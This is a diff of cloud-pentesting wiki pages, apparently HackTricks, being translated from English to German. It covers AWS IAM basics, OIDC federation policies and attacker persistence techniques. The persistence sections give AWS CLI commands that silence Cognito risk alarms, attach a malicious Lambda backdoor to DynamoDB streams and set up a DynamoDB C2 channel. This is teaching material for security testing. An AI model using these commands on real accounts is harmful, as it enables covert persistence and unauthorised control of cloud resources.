### AWS Simple AD
|
||||
|
||||
Not supported:
|
||||
Nicht unterstützt:
|
||||
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
- Vertrauensverhältnisse
|
||||
- AD-Admin-Center
|
||||
- Vollständige PS-API-Unterstützung
|
||||
- AD-Warenkorb
|
||||
- Gruppenverwaltete Dienstkonten
|
||||
- Schemaerweiterungen
|
||||
- Kein direkter Zugriff auf OS oder Instanzen
|
||||
|
||||
#### Web Federation or OpenID Authentication
|
||||
#### Webföderation oder OpenID-Authentifizierung
|
||||
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
Die App verwendet die AssumeRoleWithWebIdentity, um temporäre Anmeldeinformationen zu erstellen. Dies gewährt jedoch keinen Zugriff auf die AWS-Konsole, sondern nur auf Ressourcen innerhalb von AWS.
|
||||
|
||||
### Other IAM options
|
||||
### Weitere IAM-Optionen
|
||||
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
- Sie können **eine Passwortrichtlinieneinstellung** mit Optionen wie Mindestlänge und Passwortanforderungen festlegen.
|
||||
- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) enthält. Sie können einen Anmeldebericht so oft wie einmal alle **vier Stunden** generieren.
|
||||
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle von AWS. Mit IAM können Sie **festlegen, wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit dem geringsten Privileg** sicherzustellen.
|
||||
|
||||
### IAM ID Prefixes
|
||||
### IAM-ID-Präfixe
|
||||
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
In [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur:
|
||||
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS-Dienst-Träger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
| ACCA | Kontextbezogene Anmeldeinformationen |
|
||||
| AGPA | Benutzergruppe |
|
||||
| AIDA | IAM-Benutzer |
|
||||
| AIPA | Amazon EC2-Instanzprofil |
|
||||
| AKIA | Zugriffsschlüssel |
|
||||
| ANPA | Verwaltete Richtlinie |
|
||||
| ANVA | Version in einer verwalteten Richtlinie |
|
||||
| APKA | Öffentliches Schlüssel |
|
||||
| AROA | Rolle |
|
||||
| ASCA | Zertifikat |
|
||||
| ASIA | [Temporäre (AWS STS) Zugriffsschlüssel-IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) verwenden dieses Präfix, sind jedoch nur in Kombination mit dem geheimen Zugriffsschlüssel und dem Sitzungstoken eindeutig. |
|
||||
|
||||
### Recommended permissions to audit accounts
|
||||
### Empfohlene Berechtigungen zur Überprüfung von Konten
|
||||
|
||||
The following privileges grant various read access of metadata:
|
||||
Die folgenden Berechtigungen gewähren verschiedenen Lesezugriff auf Metadaten:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -336,14 +322,13 @@ The following privileges grant various read access of metadata:
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Misc
|
||||
## Sonstiges
|
||||
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
### CLI-Authentifizierung
|
||||
|
||||
Damit ein regulärer Benutzer sich über die CLI bei AWS authentifizieren kann, müssen **lokale Anmeldeinformationen** vorhanden sein. Standardmäßig können Sie diese **manuell** in `~/.aws/credentials` konfigurieren oder **ausführen** `aws configure`.\
|
||||
In dieser Datei können Sie mehr als ein Profil haben. Wenn **kein Profil** angegeben ist, wird das in dieser Datei genannte **`[default]`** verwendet.\
|
||||
Beispiel einer Anmeldeinformationsdatei mit mehr als 1 Profil:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **eine Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) und die Anmeldeinformationen konfigurieren.
|
||||
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\
|
||||
Ein Beispiel für eine Konfigurationsdatei:
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -368,23 +351,16 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
Mit dieser Konfigurationsdatei können Sie dann aws cli verwenden wie:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Wenn Sie nach etwas **ähnlichem** suchen, aber für den **Browser**, können Sie die **Erweiterung** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) überprüfen.
|
||||
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,84 +4,81 @@
|
||||
|
||||
## SAML
|
||||
|
||||
For info about SAML please check:
|
||||
Für Informationen über SAML siehe bitte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie nur einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält.
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
Um eine Github-Aktion als Identitätsanbieter hinzuzufügen:
|
||||
|
||||
1. Wählen Sie für _Anbietertyp_ **OpenID Connect** aus.
|
||||
2. Geben Sie für _Anbieter-URL_ `https://token.actions.githubusercontent.com` ein.
|
||||
3. Klicken Sie auf _Daumenabdruck abrufen_, um den Daumenabdruck des Anbieters zu erhalten.
|
||||
4. Geben Sie für _Zielgruppe_ `sts.amazonaws.com` ein.
|
||||
5. Erstellen Sie eine **neue Rolle** mit den **Berechtigungen**, die die Github-Aktion benötigt, und einer **Vertrauensrichtlinie**, die dem Anbieter vertraut, wie:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Beachten Sie in der vorherigen Richtlinie, wie nur ein **Branch** aus dem **Repository** einer **Organisation** mit einem bestimmten **Trigger** autorisiert wurde.
|
||||
7. Der **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion wissen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
|
||||
8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Credentials zu konfigurieren, die im Workflow verwendet werden sollen:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
## OIDC - EKS Missbrauch
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
Es ist möglich, **OIDC-Anbieter** in einem **EKS**-Cluster zu generieren, indem einfach die **OIDC-URL** des Clusters als **neuer Open ID-Identitätsanbieter** festgelegt wird. Dies ist eine gängige Standardrichtlinie:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Diese Richtlinie zeigt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** die Rolle **übernehmen kann**.
|
||||
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
Um anzugeben, **welches Dienstkonto die Rolle übernehmen können sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Name des Dienstkontos angegeben ist**, wie zum Beispiel:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +1,17 @@
|
||||
# AWS - Permissions for a Pentest
|
||||
# AWS - Berechtigungen für einen Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
Dies sind die Berechtigungen, die Sie für jedes AWS-Konto benötigen, das Sie überprüfen möchten, um alle vorgeschlagenen AWS-Audit-Tools ausführen zu können:
|
||||
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- Die Standardrichtlinie **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- Um [aws_iam_review](https://github.com/carlospolop/aws_iam_review) auszuführen, benötigen Sie außerdem die Berechtigungen:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional, wenn der Kunde die Analyzer für Sie erstellt, aber normalerweise ist es einfacher, einfach nach dieser Berechtigung zu fragen)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional, wenn der Kunde die Analyzer für Sie entfernt, aber normalerweise ist es einfacher, einfach nach dieser Berechtigung zu fragen)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - Persistenz
|
||||
|
||||
@@ -1,36 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
# AWS - API Gateway Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
Für weitere Informationen gehen Sie zu:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
### Ressourcenrichtlinie
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
Ändern Sie die Ressourcenrichtlinie des API-Gateways, um sich selbst Zugriff zu gewähren.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
### Lambda-Authorizer ändern
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
Ändern Sie den Code der Lambda-Authorizer, um sich selbst Zugriff auf alle Endpunkte zu gewähren.\
|
||||
Oder entfernen Sie einfach die Verwendung des Authorizers.
|
||||
|
||||
### IAM Permissions
|
||||
### IAM-Berechtigungen
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\
|
||||
Oder entfernen Sie einfach die Verwendung des Authorizers.
|
||||
|
||||
### API Keys
|
||||
### API-Schlüssel
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
Wenn API-Schlüssel verwendet werden, könnten Sie diese leaken, um Persistenz aufrechtzuerhalten oder sogar neue zu erstellen.\
|
||||
Oder entfernen Sie einfach die Verwendung von API-Schlüsseln.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
Für weitere Informationen, greifen Sie zu:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
### Benutzerpersistenz
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
Cognito ist ein Dienst, der es ermöglicht, Rollen für nicht authentifizierte und authentifizierte Benutzer zu vergeben und ein Verzeichnis von Benutzern zu steuern. Mehrere verschiedene Konfigurationen können geändert werden, um eine gewisse Persistenz aufrechtzuerhalten, wie zum Beispiel:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
- **Hinzufügen eines Benutzerpools**, der vom Benutzer zu einem Identitätspool kontrolliert wird
|
||||
- Eine **IAM-Rolle einem nicht authentifizierten Identitätspool zuweisen und den Basis-Auth-Flow erlauben**
|
||||
- Oder einem **authentifizierten Identitätspool**, wenn der Angreifer sich anmelden kann
|
||||
- Oder die **Berechtigungen** der vergebenen Rollen **verbessern**
|
||||
- **Erstellen, Überprüfen & Privilegieneskalation** über Attribute kontrollierte Benutzer oder neue Benutzer in einem **Benutzerpool**
|
||||
- **Erlauben externer Identitätsanbieter**, sich in einen Benutzerpool oder in einen Identitätspool einzuloggen
|
||||
|
||||
Check how to do these actions in
|
||||
Überprüfen Sie, wie Sie diese Aktionen durchführen können in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
@@ -29,18 +29,12 @@ Check how to do these actions in
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
Ein Angreifer mit diesem Privileg könnte die Risikokonfiguration ändern, um sich als Cognito-Benutzer **einzuloggen, ohne dass Alarme ausgelöst werden**. [**Überprüfen Sie die CLI**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), um alle Optionen zu sehen:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
Standardmäßig ist dies deaktiviert:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,67 +1,59 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
# AWS - DynamoDB Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
Für weitere Informationen zugreifen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
### DynamoDB-Trigger mit Lambda-Hintertür
|
||||
|
||||
Durch die Verwendung von DynamoDB-Triggern kann ein Angreifer eine **heimliche Hintertür** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Element hinzugefügt, geändert oder gelöscht wird, wodurch der Angreifer beliebigen Code innerhalb des AWS-Kontos ausführen kann.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Um die Persistenz aufrechtzuerhalten, kann der Angreifer Elemente in der DynamoDB-Tabelle erstellen oder ändern, was die bösartige Lambda-Funktion auslöst. Dies ermöglicht es dem Angreifer, Code innerhalb des AWS-Kontos auszuführen, ohne direkt mit der Lambda-Funktion zu interagieren.
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
### DynamoDB als C2-Kanal
|
||||
|
||||
Ein Angreifer kann eine DynamoDB-Tabelle als **Befehls- und Kontrollkanal (C2)** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
Die kompromittierten Instanzen oder Lambda-Funktionen können regelmäßig die C2-Tabelle auf neue Befehle überprüfen, diese ausführen und optional die Ergebnisse zurück in die Tabelle melden. Dies ermöglicht es dem Angreifer, Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechtzuerhalten.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
